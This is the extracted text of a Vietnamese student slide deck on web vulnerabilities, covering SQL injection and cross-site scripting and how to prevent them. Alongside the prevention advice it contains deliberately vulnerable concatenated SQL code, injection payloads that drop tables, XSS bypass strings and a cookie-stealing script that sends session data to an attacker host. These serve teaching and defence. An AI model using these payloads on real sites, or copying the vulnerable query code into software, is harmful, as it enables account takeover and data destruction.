1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Tìm hiểu về lỗ hổng web và cách phòng chống

54 546 5

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 54
Dung lượng 45,48 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

 Dữ liệu thông tin của website phải được lưu trữ trên một máy tính máy chủ – server luôn hoạt động và kết nối với mạng internet..  Lỗ hổng là các chương trình hợp pháp với các lỗ hổng

Trang 1

Trường: HV kỹ thuật Mật mã

Trang 3

3Tổng quan về website

Trang 5

1, MÔ TẢ WEBSITE VÀ

CÁCH HOẠT ĐỘNG

Website là gì?

• Website là 1 “trang web” trên mạng internet

• Là nơi giới thiệu những thông tin, hình ảnh về

doanh nghiệp và sản phẩm, dịch vụ của doanh

nghiệp (hay giới thiệu bất cứ thông tin gì)

Trang 6

ĐỂ TẠO NÊN 1 WEBSITE CẦN 3 YẾU TỐ CƠ

BẢN:

• Cần phải có tên miền (domain)

• Nơi lưu trữ website (hosting)

• Nội dung các trang thông tin (web page)

Trang 7

Thế nào là tên miền

• Tên miền là địa chỉ website, trên internet chỉ tồn tại duy nhất 1 địa chỉ (tức là

tồn tại duy nhất một tên miền)

• Có 2 loại tên miền:

+ Tên miền Quốc tế: là tên miền có dạng com; net; org; biz; name

+ Tên miền Việt Nam: là tên miền có dạng: vn; com.vn; net.vn; org.vn;

gov.vn

Trang 8

Một website được lưu trữ ở đâu?

Trang 9

 Dữ liệu thông tin của website phải được lưu trữ trên một máy tính (máy chủ –

server) luôn hoạt động và kết nối với mạng internet.

 Một server có thể lưu trữ nhiều tên website, nếu server này bị sự cố thì không ai c Ó

thể truy cập được những website lưu trữ trên server tại thời điểm đó

Trang 10

Nội dung các trang thông tin

Nội dung các trang thông tin được thiết kế và hiển thị

Trang 11

 Website động (Dynamic website)

+ Là website có cơ sở dữ liệu, được cung cấp công cụ quản lí

website (Admin Tool)

+ Linh hoạt và có thể cập nhật thông tin thường xuyên, quản lí

các thành phần trên website dễ dàng.

+ Thường được viết bằng các ngôn ngữ lập trình như PHP,

Asp.net, JSP, …., quản trị Cơ sở dữ liệu bằng SQL hoặc MySQL

 Website tĩnh

+ Do người lập trình băng ngôn ngữ HTML theo từng trang

+ Không có cơ sở dữ liệu và không có công cụ quản lí thông tin

trên website

+ Ít thay đổi nội dung

+Thông thường website tĩnh được thiết kế bằng các phần mềm

như FrontPage, Dreamwaver,

Trang 12

 Có rất nhiều phần mềm chạy trên nền web như Google word (xử lí văn bản),

Google spreadsheets (xử lí bảng tính), Email

Trang 13

Một số ưu điểm của phần mềm hay ứng dụng chạy trên nền web:

+ Mọi người đều có trình duyệt và bạn chỉ cần trình duyệt chạy phần mềm.

+ Phần mềm luôn luôn được cập nhật vì chúng chạy trên server.

+ Luôn sẵn sàng 24/7.

+ Dễ dàng backup dữ liệu thường xuyên.

+ Có thể truy cập mọi lúc, mọi nơi, miễn là bạn có mạng.

+ Chi phí triển khai cực rẻ so với phần mềm chạy trên Desktop

Trang 14

3, Các lỗi bảo mật thông

dụng trên web

Lỗ hổng là gì?

 Lỗ hổng là các chương trình hợp pháp với các lỗ hổng bảo mật có nguy cơ đưa đến một số rủi ro cho phép tin tặc có thể có ý định tấn công hoặc thay đổi mã thông qua ứng dụng web tới một hệ thông khác

 Toàn bộ những dòng scripts được viết bằng Perl, Python và các ngôn ngữ khác có thể được áp dụng đối với những người thiết kế web ở trình độ không cao và thực thi nó trên hệ thông.

 Bất kì khi nào một ứng dụng web sử dụng một công cụ thông dịch

ở bất kì dạng nào đều có thể có nguy bị tấn công lỗ hổng bảo mật.

Trang 15

Các lỗ hổng phổ biến:

Lỗ Hổng Injection

Trang 16

Injection là gì?

• Là một dạng đặc biệt được lan rộng và là dạng nguy hiểm trong sự tấn công

• Là lỗ hổng mà tin tặc có thể tấn công hoặc thay đổi mã thông qua ứng dụng

web

• Bằng việc cẩn thận gắn các mã độc vào cái tham biến, tin tắc có thể trick ứng

dụng web thông qua việc chuyển tiến các truy vấn mang mã độc tới hệ thống

Trang 17

SQL Injection

Là 1 dạng phổ biến của Injection

Là 1 lỗ hổng mà rất nhiều các website bị hacker khai thác và tấn công

Trang 18

Lỗ Hổng Cross-Site Scripting - XSS

Trang 19

 Cross-Site Scripting (gọi tắt là XSS thay vì CSS để tránh nhầm lẫn với CSS –

Casscading Style Sheet của HTML )– là một trong những lỗ hổng của Web

Application phổ biến nhất hiên nay, băng cách chèn vào các website động

Trang 21

Thống kê

Trang 22

Tại sao lại có lỗi Sqli?

SQL code trong ứng dụng

string cmdStr = "INSERT INTO Customer(Name, Address, Email, Phone) VALUES

('" + txtName.Text + "', '" + txtEmail.Text + "','" + txtPhone.Text + "')";

conn.Open();

SqlCommand cmd = new SqlCommand(cmdStr, conn);

cmd.ExecuteNonQuery();

Trang 23

Minh họa Sqli

Trang 24

Các lỗi sqli thường gặp

Không kiểm tra ký tự thoát

truy vấn:

Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Trang 25

Các lỗi sqli thường gặp

Khi thêm userName= “a' or 't'='t “ , sẽ có câu

truy vấn:

● Các gía trị của biến userName sẽ gây ra xóa người dùng từ bảng người dùng

SELECT * FROM users WHERE name = 'a' OR 't'='t';

a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't

Trang 26

Các lỗi Sqli thường gặp

Xử lý không đúng kiểu:

Lỗi SQL injection dạng này thường xảy ra do

lập trình viên hay người dùng định nghĩa đầu

vào dữ liệu không rõ ràng hoặc thiếu bước

kiểm tra và lọc kiểu dữ liệu đầu vào

users nó sẽ thực hiện thao tác xóa người dùng

có id tương ứng khỏi cơ sở dữ liệu

statement := "SELECT * FROM data WHERE id = " + a_variable + ";"

SELECT * FROM DATA WHERE id=1;DROP TABLE users;

Trang 27

Các lỗi sqli thường gặp

Lỗi bảo mật bên trong máy chủ cơ

sở dữ liệu:

- Đôi khi lỗ hổng có thể tồn tại chính trong

phần mềm máy chủ cơ sở dữ liệu

- Điều này có thể giúp cho kẻ tấn công thực

hiện được sqli

Blind SQL injection: Lỗi này tồn tại ngay

trong ứng dụng web, nó sẽ gây ra sự sai khác

nội dung của 1 trang bị lỗi sqli

Trang 28

Các lỗi sqli thường gặp

Thay đổi giá trị điều kiện truy vấn:

Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy vấn, làm hiển thị sai lệch của 1 ứng dụng

Sẽ hiển thị một trang một cách bình thường, trong khi:

sẽ hiển thị một nội dung khác hoặc không hiển thị gì

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;

Trang 29

Cách phòng chống sqli

dụng

Trang 30

Demo khai thác lỗ hổng sqli

Trang 31

Tìm hiểu về lỗ hổng

Cross-site scripting - XSS

Trang 32

Nội dung chính:

1 XSS là gì?

2 Hiện trạng và mức độ nguy hiểm XSS

3 Nguyên lý hoạt động của XSS

4 Phân loại XSS

5 Phương pháp kiểm tra lỗi

6 Tấn công

7 Biện pháp phòng chống

Trang 33

1 XSS là gì ?

những lỗ hổng của Web Application phổ

biến nhất hiện nay cho phép hacker chạy các client side scripts (HTML, Flash, và đặc biệt là JavaScript) của họ khi có người khác truy cập vào trang web

Trang 34

2 Hiện trạng và mức độ nguy hiểm

các website được phát triển với các công nghệ mới, có nhiều ứng dụng có thể thêm vào gia tăng sự tương tác với người dùng như bảng thông báo, xem file đính kèm, dễ dàng chia sẻ tài nguyên thì nguy cơ bị tấn công rất cao

Trang 36

Mục tiêu:

● Mục tiêu của kẻ tấn công

là ăn cắp cookie, mật

khẩu của người dùng, lừa

đảo quản trị website,

chiếm các session…

● Vì chỉ hoạt động trên trình

duyệt phía client và chỉ

hoạt động trền bề mặt

website nên không làm

ảnh hưởng tới mã nguồn,

cơ sở dữ liệu trên sever

Trang 37

3 Nguyên lý hoạt động XSS

Script của hacker thì khi người sử dụng

click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt sẽ được gửi

về cho hacker thông qua email hoặc một file nào đó trên host đã được thiết lập từ trước

Trang 39

Stored xss

– Kẻ tấn công chèn một đoạn Script nguy hiểm vào

website ( comment, search, guestbook ) và được lưu lại trong database, để từ đó client khác truy cập vào sẽ dính mã độc từ kẻ tấn công.

victim

attacker

Website(database)

1 2

3 4

Trang 40

Reflected XSS

● kẻ tấn công gắn thêm đoạn mã độc URL vào website và gửi đến nạn nhân, khi nạn nhân truy cập vào URL đó sẽ bị dính mã độc

Send URL

Request page

Webserver returns the page

Trang 41

5.Phương pháp kiểm tra XSS

người dùng có thể nhập dữ liệu vào và sẽ nhận được thông báo trả về từ website như khung search, comment, result, web-form

Trang 42

42

Trang 43

Cách 1:

“error XSS”, nếu kết quả trả về là:

– Không tìm thấy kết quả cho “error XSS”

– “error XSS” kết quả này không tồn tại

– Your search for “error XSS” is not vaild

Hay bất cứ một kết quả trả về có “error XSS” thì 99% site này bị dính lỗi.

Trang 45

Cách 3: kĩ thuật bypass

– <script>alert(String.fromCharCode(104,101,108 ,108,111,32,119,111,114,108,100,33))</script>

– ><script>alert(“hello world”)</script>

Trang 46

6 Tấn công

viết ra rùi chèn lên những chỗ có lỗi XSS

thể chèn Flash, thẻ iframe ( HTML), URL chứa mã độc dẫn đường link tới web của hacker

Trang 48

2 file trên lên host

ăn cắp cookie: <script>location.href=’http://www.attacker.net/Stealer.php?

cookie=’+document.cookie;</script>

Trang 49

script vào những chỗ xác định là lỗi XSS

cập vào đó và dùng tiện ích add-on cookie

để login

Trang 50

7 Phòng chống XSS

● 7.1 Đối với người thiết kế và phát triển web

● 7.2 Đối với người dùng.

Trang 51

7.1 Người phát triển web

● Chỉ chấp nhận những yếu tố hợp lệ theo như yêu cầu trong công việc lập trình web.

● Liên tục kiểm tra và thanh lọc dữ liệu đầu vào.

● Tạo ra danh sách thẻ HTML được phép sử dụng Xóa bỏ thẻ <script> hoặc đóng thẻ <script> trong comment, coi đây như một đoạn trích dẫn.

● Vẫn cho phép các kí tự đặc biệt nhưng phải được

mã hóa trước khi in ra

Trang 52

● Sử dụng thêm các bộ lọc code để loại bỏ kí tự đặc biệt từ đầu vào(anti-xss filter, bộ thư viện

HTML Purifier )

● Lọc các dấu nháy đơn, nháy kép

● Lọc ra bất kí một đoạn mã JavaScript, VBScript, Flash Related

● Chuyển đổi những kí tự sau trong thẻ input sinh ra:

Trang 53

Đối với người dùng

chrome, thường xuyên cập nhật phiên bản mới.

email và khi lướt web.

thông báo và ngăn chặn các mã độc hại đang được thực thi.

QuickTime, JavaScript để lướt web an toàn.

Trang 54

Thank

you !

Ngày đăng: 29/03/2016, 11:39

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w